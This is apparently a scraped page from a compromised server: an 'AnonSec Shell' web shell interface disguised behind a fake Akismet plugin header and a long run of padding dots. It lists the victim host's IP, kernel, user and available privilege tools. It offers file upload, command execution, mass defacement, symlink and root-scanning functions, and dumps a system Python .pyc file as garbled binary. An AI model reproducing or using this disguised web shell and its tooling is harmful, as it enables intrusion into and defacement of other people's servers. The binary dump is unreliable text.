#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager//managerlib.pyc
�
L��ec	@`sddlmZmZmZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlmZddl
mZmZmZddljZddlmZmZddlmZddlmZmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&ddlm'Z'dd	l(m)Z)dd
l*m+Z+ddl,m-Z-ddlm.Z.dd
l/m0Z0ddl1m2Z2ddl3m4Z5ej6e7�Z8e�Z9e9j:dd�Z;e	j<e	j=Be	j>BZ?e
j@d�ZAd�ZBdeCfd��YZDd�ZEdeFfd��YZGeHddddd�ZJeHdeHeHddddd�ZKdeFfd��YZLd�ZMdefd��YZNd eFfd!��YZOd"eFfd#��YZPdd$�ZQd%�ZRd&�ZSeTd'�ZUd(�ZVd)�ZWdS(*i(tprint_functiontdivisiontabsolute_importN(t
initConfig(tKeytCertificateExceptiontcreate_from_pem(tStackingGroupSortertComplianceManager(tidentity(trequiretCERT_SORTERtIDENTITYtENTITLEMENT_STATUS_CACHEt%SYSTEMPURPOSE_COMPLIANCE_STATUS_CACHEtPROD_STATUS_CACHEtENT_DIRtPROD_DIRtCP_PROVIDERtOVERRIDE_STATUS_CACHEtPOOLTYPE_CACHEtRELEASE_STATUS_CACHEtFACTStPOOL_STATUS_CACHE(tisodate(tPoolWrapper(tRepoActionInvoker(tSyncedStore(tutils(tConsumerIdentity(ttzlocal(tugettexttrhsmtentitlementCertDircC`stj||�dS(N(Rt
system_log(tmessagetpriority((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR":scC`s�tjdd�}tjj|�s4tj|�ntj|dd|dd�}|j�t	j
d|j�|j�f�t
d|j��dS(	sF
     Calls the consumerIdentity, persists and gets consumer info
    R tconsumerCertDirtidCerttkeytcertsConsumer created: %s (%s)s#Registered system with identity: %sN(tcfgtgettostpathtisdirtmkdirR	RtwritetlogtinfotgetConsumerNamet
getConsumerIdR"(tconsumerinfotcert_dirtconsumer((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytpersist_consumer_cert?s"
#tCertificateFetchErrorcB`seZd�Zdd�ZRS(cC`s
||_dS(N(terrors(tselfR9((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyt__init__MstcC`sddj|j�}|S(NsGEntitlement Certificate(s) update failed due to the following reasons:
s
(tjoinR9(R:treasontmsg((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyt__str__Ps(t__name__t
__module__R;R@(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR8Ls	cC`s1|j�}|j�}|r-t|��ntS(N(tupdatet
exceptionsR8tTrue(tcertlibtresultRD((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytfetch_certificatesUs
t
PoolFiltercB`steZdZdd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�ZRS(
s+
    Helper to filter a list of pools.
    cC`s||_||_||_dS(N(tproduct_directorytentitlement_directorytsorter(R:tproduct_dirtentitlement_dirRL((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR;es		cC`s�g}x�|D]�}|d|krKtjd|d�|j|�q
nxH|dD]<}|d|krVtjd|d�|j|�PqVqVWq
W|S(s�
        Filter a list of pools and return just those that provide products
        in the requested list of product ids. Both the top level product
        and all provided products will be checked.
        t	productIdspool matches: %stprovidedProductsspool provides: %s(R0tdebugtappend(R:tpoolstproduct_idst
matched_poolstpooltprovided((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytfilter_product_idsks


c	C`s�|jj�}i}x�|D]�}xx|D]p}|jdj}g|dD]}|d^qJ}t|�|ks�t|�|dkr)|||d<q)q)WqWt|j��S(s}
        Filter the given list of pools, return only those which provide
        a product installed on this system.
        iRPROtid(RJtlisttproductsRYtstrtvalues(	R:RStinstalled_productstmatched_data_dicttdtproductt	productidtptprovided_ids((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytfilter_out_uninstalleds

!c	C`s�|jj�}i}x�|D]�}|||d<g|dD]}|d^q;}xU|D]M}|jdj}t|�|ks�t|�|dkrX||d=PqXqXWqWt|j��S(s�
        Filter the given list of pools, return only those which do not provide
        a product installed on this system.
        RYRPROi(RJRZR[RYR\R](	R:RSR^R_R`RcRdRaRb((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytfilter_out_installed�s
!
cC`s�|j�}g}xp|D]h}||dj�krE|j|�qx9|dD]-}||dj�krP|j|�PqPqPWqW|S(s|
        Filter the given list of pools, removing those whose product name
        does not contain the given text.
        tproductNameRP(tlowerRR(R:RSt
contains_texttloweredtfiltered_poolsRVRW((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytfilter_product_name�s

cC`sHg}x;|jj�D]*}x!|jD]}|j|j�q&WqW|S(N(RKRZR[RRRY(R:tentitled_productsR(Ra((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyt_get_entitled_product_ids�s
cC`sni}xa|jj�D]P}xG|jD]<}|j}||krQt�||<n||j|�q&WqW|S(N(RKRZR[RYtsettadd(R:tentitled_products_to_certsR(Ratprod_id((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyt!_get_entitled_product_to_cert_map�s	cC`sftj|d�}tj|d�}x9|D]1}|j}|j|�sZ|j|�r-tSq-WtS(Nt	startDatetendDate(Rt
parse_datetvalid_rangethas_dateREtFalse(R:RVtcertst
pool_starttpool_endR(t
cert_range((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyt_dates_overlap�s
	cC`s)|j�}g}x|D]}tg|dD]}|d^q-�}t|�}|jd�ddkr|j|d�nd}|jt|j���}	xD|	D]<}
|j|||
�r�|
|j	j
kr�|d7}q�Pq�W|t|�ks|j�|j	j
kr|j|�qqW|S(NRPROttypetSVCii(RsRoRtget_product_attributesRptintersectionRZtkeysR~RLtpartially_valid_productstlentget_stacking_idtpartial_stacksRR(R:RStentitled_product_ids_to_certsRkRVRcRdtwrapped_pooltoverlaptpossible_overlap_pidsRb((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytfilter_out_overlapping�s"
'

*cC`s2|j|�}g|D]}||kr|^qS(N(R�(R:RStnot_overlappingRV((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytfilter_out_non_overlapping�scC`stgt|j��D]}|d^q}g}x>|D]6}|d|ks\|d|kr6|j|�q6q6W|S(s�
        Filter the given list of pools, removing those for which the system
        already has a subscription, unless the pool can be subscribed to again
        (ie has multi-entitle).
        RY(RZR]RR(R:RStsubscribed_pool_idstcompatible_poolsRVtresubscribeable_pool_idsRk((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytfilter_subscribed_pools�s&
N(RARBt__doc__tNoneR;RXReRfRlRnRsR~R�R�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyRI_s						
	
		c
C`stt�j||�tj�}|j||�|j|�}|d}	|jd|d|d|d|	d|d|d|�S(	s�
    Wrapper around the UEP call to fetch pools, which forces a facts update
    if anything has changed before making the request. This ensures the
    rule checks server side will have the most up to date info about the
    consumer possible.
    R'R6tlistAllt	active_ontownert
filter_stringtfuturet
after_date(R
Rtupdate_checktcachetProfileManagertgetOwnertgetPoolsList(
tuept
consumer_uuidtlist_allR�R�R�R�tprofile_mgrR�townerid((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyt
list_pools�s
cC`s7ddddddddd	d
ddd
dddddg}t�}	|	j||||||d|d|�}
x�|
D]�}t|�}|j�|d<t|�r�d|d<n
d|d<|jddd	dd�}
|
d|d<|
d|d
<|
d	|d	<|
d|d<|
d|d<|j�|d<|j�|d<|j�|d<|ddkrwd|d<qwqwWg|
D]}t
||�^qu}x�|D]�}t|d�dkr�td�|d<n(t
t|d�t|d��|d<ttj|d��|d<ttj|d��|d<|d=q�W|S(s�
    Returns a list of entitlement pools from the server.

    The 'all' setting can be used to return all pools, even if the rules do
    not pass. (i.e. show pools that are incompatible for your hardware)
    RYtquantitytconsumedRtRuRgRPROtrolest
attributest	pool_typet
service_leveltservice_typetusagetaddonst	suggestedtcontractNumbertmanagement_enabledR�R�tYessmulti-entitlementtNot
support_leveltsupport_typeR<it	UnlimitedN(t	PoolStashtget_filtered_pools_listRtget_provided_productstallows_multi_entitlementR�tget_suggested_quantityt
get_pool_typeR�R�t	_sub_dicttintt_R\tformat_dateRRv(tget_allR�toverlappingtuninstalledttextR�R�R�tcolumnst
pool_stashtdlistRVtpool_wrappert
support_attrstdataR`((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytget_available_entitlements'sf
		



		"
(tMergedPoolscB`s2eZdZd�Zd�Zd�Zd�ZRS(s�
    Class to track the view of merged pools for the same product.
    Used to view total entitlement information across all pools for a
    particular product.
    cC`s:||_||_d|_d|_d|_g|_dS(Ni(t
product_idtproduct_nametbundled_productsR�R�RS(R:R�R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR;ws					cC`s{|j|d7_|ddkr/d|_n%|jdkrT|j|d7_n|jj|�t|d�|_dS(NR�R�i����RP(R�R�RSRRR�R�(R:RV((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytadd_poolscC`s=x6|dD]*}|ddkr|ddkrdSqWdS(s�
        Used to sort the pools, return Physical or Virt depending on
        the value or existence of the virt_only attribute.

        Returning numeric values to simulate the behavior we want.
        R�tnamet	virt_onlytvaluettrueii((R:RVtattr((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyt_virt_physical_sorter�s cC`s|jjd|j�dS(s�
        Prioritizes virt pools to the front of the list, if any are present.

        Used by contract selector to show these first in the list.
        R'N(RStsortR�(R:((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytsort_virt_to_top�s(RARBR�R;R�R�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR�qs
			cC`sbi}xU|D]M}|d|krEt|d|d�||d<n||dj|�q
W|S(sj
    Merges the given pools into a data structure representing the totals
    for a particular product, across all pools for that product.

    This provides an overview for a given product, how many total entitlements
    you have available and in use across all subscriptions for that product.

    Returns a dict mapping product ID to MergedPools object.
    RORg(R�R�(RStmerged_poolsRV((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytmerge_pools�s

tMergedPoolsStackingGroupSortercB`s)eZdZd�Zd�Zd�ZRS(s<
    Sorts a list of MergedPool objects by stacking_id.
    cC`stj||�dS(N(RR;(R:R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR;�scC`st|jd�j�S(Ni(RRSR�(R:tmerged_pool((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyt_get_stacking_id�scC`s|jddS(NiRg(RS(R:R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyt_get_identity_name�s(RARBR�R;R�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR��s		R�cB`skeZdZd�Zd�Zd�Zd	d	d�Zd�Zd�Z	e
e
e
e
d	d�Zd�ZRS(
s�
    Object used to fetch pools from the server, sort them into compatible,
    incompatible, and installed lists. Also does filtering based on name.
    cC`s@tt�|_d|_i|_i|_g|_i|_dS(N(	R
RR	R�RLR�tincompatible_poolsR�t	all_pools(R:((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR;�s				cC`s
t|j�S(N(R�R�(R:((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytall_pools_size�scC`s�|rt|�|_ntt�|_i|_i|_tjd�xQttt	�j
�|jjd|�D](}||j|d<||j|d<qnWi|_
xmttt	�j
�|jjdtd|�D]>}|d|jkr�||j
|d<||j|d<q�q�W|j�|_tt�j|j�tjdt|j��tjdt|j��tjdt|j
��tjdt|j��d	S(
sV
        Refresh the list of pools from the server, active on the given date.
        sRefreshing pools from server...R�RYR�sfound %s pools:s   %s compatibles   %s incompatibles   %s already subscribedN(RRLR
RR�R�R0RQR�Rtget_consumer_auth_cpR	tuuidR�REt_get_subscribed_pool_idsR�Rtupdate_from_poolsR�(R:R�RV((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytrefresh�s,		
	c	
C`s!i|_i|_|r0|r0t|�|_n|rO|rOtt�|_n|r�x�ttt�j�|j	j
d|d|d|d|�D]}	|	|j|	d<q�Wn[xXttt�j�|j	j
dtd|d|d|d|�D]}	|	|j|	d<q�W|j|||t
|�S(sS
        Used for CLI --available filtering
        cuts down on api calls
        R�R�R�R�RYR�(R�R�RRLR
RR�RR�R	R�REt
_filter_poolsRy(
R:R�tincompatibleR�R�R�R�R�R�RV((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR�s 		
cC`s)gtt�j�D]}|jj^qS(N(R
RRZRVRY(R:tent((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR�%sc	C`s�tjdt|j��|s8t|jj��}n/t|jj��}tjdt|j��tt	t
�t	t�|j�}|r�t|�}|j
|�}tjd|t|��n|rt|�}|j|�}tjd|t|��n|rHt|�}|j||�}tjd|t|��n|r�t|�}|j||j|j�}tjd|t|��ntjdt|�t|j�t|�f�|S(s�
        Return a list of pool hashes, filtered according to the given options.

        This method does not actually hit the server, filtering is done in
        memory.
        sFiltering %d total poolss	Removed %d incompatible poolss,	Removed %d pools for not installed productss3	Removed %d pools overlapping existing entitlementss0	Removed %d pools not matching the search strings2	Removed %d pools that we're already subscribed tos%	%d pools to display, %d filtered out(R0RQR�R�RZR]R�R�RIR
RRRLReR�RlR�R�(	R:R�R�R�t
subscribedR�RStpool_filtertprev_length((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR�(s@							cC`s+|j|||||�}t|�}|S(s

        Return a merged view of pools filtered according to the given options.
        Pools for the same product will be merged into a MergedPool object.

        Arguments turn on filters, so setting one to True will reduce the
        number of results.
        (R�R�(R:R�R�R�R�R�RSR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR�\s	cC`sl|jj|�}|dkr2tjd|�dSg}x-|dD]!}|j|d|df�qCW|S(s�
        Return a list of tuples (product name, product id) for all products
        provided for a given pool. If we do not actually have any info on this
        pool, return None.
        s!pool id %s not found in all_poolsRPRgRON(R�R*R�R0RQRR(R:tpool_idRVtprovided_productsRa((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytlookup_provided_productsjsN(
RARBR�R;R�R�R�R�R�R�RyR�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR��s			&		4
tImportFileExtractorcB`s�eZdZdZdZdZdeeefZeje�Z	dZ
dZdZdZ
d	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�ZRS(sJ
    Responsible for checking an import file and pulling cert and key from it.
    An import file may include only the certificate, but may also include its
    key.

    An import file is processed looking for:

    -----BEGIN <TAG>-----
    <CONTENT>
    ..
    -----END <TAG>-----

    and will only process if it finds CERTIFICATE or KEY in the <TAG> text.

    For example the following would locate a key and cert.

    -----BEGIN CERTIFICATE-----
    <CERT_CONTENT>
    -----END CERTIFICATE-----
    -----BEGIN PUBLIC KEY-----
    <KEY_CONTENT>
    -----END PUBLIC KEY-----

    tstarttcontenttendsC(?P<%s>[-]*BEGIN[\w\ ]*[-]*)(?P<%s>[^-]*)(?P<%s>[-]*END[\w\ ]*[-]*)tCERTIFICATEtKEYtENTITLEMENTs
RSA SIGNATUREcC`sC||_tjj|�|_|j|�}|j|�|_dS(N(R,R+tbasenamet	file_namet_readt_process_contenttparts(R:tcert_file_pathR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR;�s	cC`s)t|d�}|j�}|j�|S(Ntr(topentreadtclose(R:t	file_pathtfdtfile_content((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR��s
c	C`si}|jj|�}x�|D]�}|j|j�}|j|j�}|j|j�}d}|j|j�dks�|j}nl|j|j	�dks�|j	}nH|j|j
�dks�|j
}n$|j|j�dks�|j}n|dkrqn|||||<qW|S(Ni(t_PATTERNtfinditertgroupt_REGEX_START_GROUPt_REGEX_CONTENT_GROUPt_REGEX_END_GROUPR�tfindt
_KEY_DICT_TAGt_CERT_DICT_TAGt
_ENT_DICT_TAGt
_SIG_DICT_TAG(	R:R�t	part_dicttmatchestmatchR�tmeatR�tdict_key((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR��s&
cC`s|j|jkS(N(RR�(R:((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytcontains_key_content�scC`s/d}|j|jkr+|j|j}n|S(N(R�RR�(R:tkey_content((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytget_key_content�scC`s�d}|j|jkr+|j|j}n|j|jkr[|tj|j|j}n|j|jkr�|tj|j|j}n|S(NR<(RR�R
R+tlinesepR(R:tcert_content((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytget_cert_content�scC`s^y#|j�}t|d�s"tSWntk
r7tSXt|j��}|j�rZtStS(sr
        Verify that a valid entitlement was processed.

        @return: True if valid, False otherwise.
        torder(tget_certthasattrRyRRRtbogusRE(R:R(tent_key((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytverify_valid_entitlement�s
cC`s�|j�tjjt|j��}tjd|�|j�}|j	||�|j
�r�|j|�}tjd|�|j	||j��ndS(s>
        Write/copy cert to the entitlement cert dir.
        sWriting certificate file: %ssWriting key file: %sN(
t_ensure_entitlement_dir_existsR+R,R=tENT_CONFIG_DIRt(_create_filename_from_cert_serial_numberR0RQRt_write_fileRt!_get_key_path_from_dest_cert_pathR(R:tdest_file_pathRtdest_key_file_path((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyt
write_to_disk�s
cC`s2t|d�}z|j|�Wd|j�XdS(Ntw(R�R/R(R:ttarget_pathR�tnew_file((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR#�scC`s)tjttj�s%tjt�ndS(N(R+taccessR!tR_OKR.(R:((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR scC`s&tjj|�}|dd|dS(Nis-keyi(R+R,tsplitext(R:tdest_cert_patht
file_parts((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR$	scC`s|j�}d|jS(screate from serials%s.pem(Rtserial(R:tent_cert((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR"
scC`s|j�}t|�}|S(N(RR(R:RR1((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyRs(RARBR�RRR	t_REGEXtretcompileRRRR
RR;R�R�RRRRR'R#R R$R"R(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR�{s0						
						cC`s/tg|D]}||j||�f^q
�S(sLReturn a dict that is a subset of datadict matching only the keys in subkeys(tdictR*(tdatadicttsubkeystdefaulttk((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR�scC`sY|rQy|jt��jd�SWqUtk
rMtjd�|jd�SXndSdS(Ns%xs.Datetime does not contain timezone informationR<(t
astimezoneRtstrftimet
ValueErrorR0twarn(tdt((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR�s

cC`s�tjj�tjj�g}x�|D]�}tjj|�sCq%ntj|�}|tjdksx|tj	dkr�tj
|dd�tjd|�ntj
|tj�}|tkr%tj|t�tjd|�q%q%WdS(si
    Ensure the identity certs on this system have the correct permissions, and
    fix them if not.
    is$Corrected incorrect ownership of %s.s&Corrected incorrect permissions on %s.N(R	RtkeypathtcertpathR+R,texistststattST_UIDtST_GIDtchownR0R=tS_IMODEtST_MODEt
ID_CERT_PERMStchmod(RzR(tstatinfotmode((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytcheck_identity_cert_perms)s
&cC`s%tjdd�}|r|ddkr<|dd!d}n
|d}tj|dt�tjd||�tj||�nxStj	�tj
�gD]9}tjj
|�r�tjd	|�tj|�q�q�Wtt�j�tjdd
�}tjj
|�r]xbtjd|�D]9}tjj||�}tjd|�tj|�qWntjd
|�tjj�tjj�tdk	r�td�ji�ntt�j�tt�j�tt�j�tt�j�tt �j�tt!�j�t"j#�tjd�dS(NR R%i����t/is.oldt
ignore_errorssBacking up %s to %s.sRemoving identity cert: %sR!s%s/*.pemsRemoving entitlement cert: %ss-Entitlement cert directory does not exist: %ssCleaned local data($R)R*tshutiltrmtreeRER0RQtcopytreeRR?R@R+R,RAtremoveR
RtreloadtglobR=R=R�R�tdelete_cachetInstalledProductsManagerRR�tupdate_cacheR
RRRRRRtdelete_repo_file(tbackuptconsumer_dirtconsumer_dir_backupR,tent_cert_dirtfR@((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytclean_all_data>s@



cC`s7|s
tSyt|�dkSWntk
r2tSXdS(Ni(RyR�R<(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pytvalid_quantityys
cC`s@x9|dD]-}|ddkrtj|d�rtSqWtS(s�
    Determine if this pool allows multi-entitlement based on the pool's
    top-level product's multi-entitlement attribute.
    tproductAttributesR�smulti-entitlementR�(Rt
is_true_valueRERy(RVt	attribute((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyR��s
(Xt
__future__RRRRTtloggingR+R3RORBtsyslogtrhsm.configRtrhsm.certificateRRRtsubscription_manager.cacheR�t subscription_manager.cert_sorterRRtsubscription_managerR	tsubscription_manager.injectionR
RRR
RRRRRRRRRRRt subscription_manager.jsonwrapperRtsubscription_manager.repolibRt"subscription_manager.syspurposelibRRtsubscription_manager.identityRtdateutil.tzRtsubscription_manager.i18nRR�t	getLoggerRAR0R)R*R!tS_IRUSRtS_IWUSRtS_IRGRPRHt
LOG_NOTICER"R7t	ExceptionR8RHtobjectRIRyR�R�R�R�R�R�R�R�R�R�RLRER^R_R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managerlib.pyt<module>s\^		
		
�'		H7	��		;	

Anon7 - 2022
AnonSec Team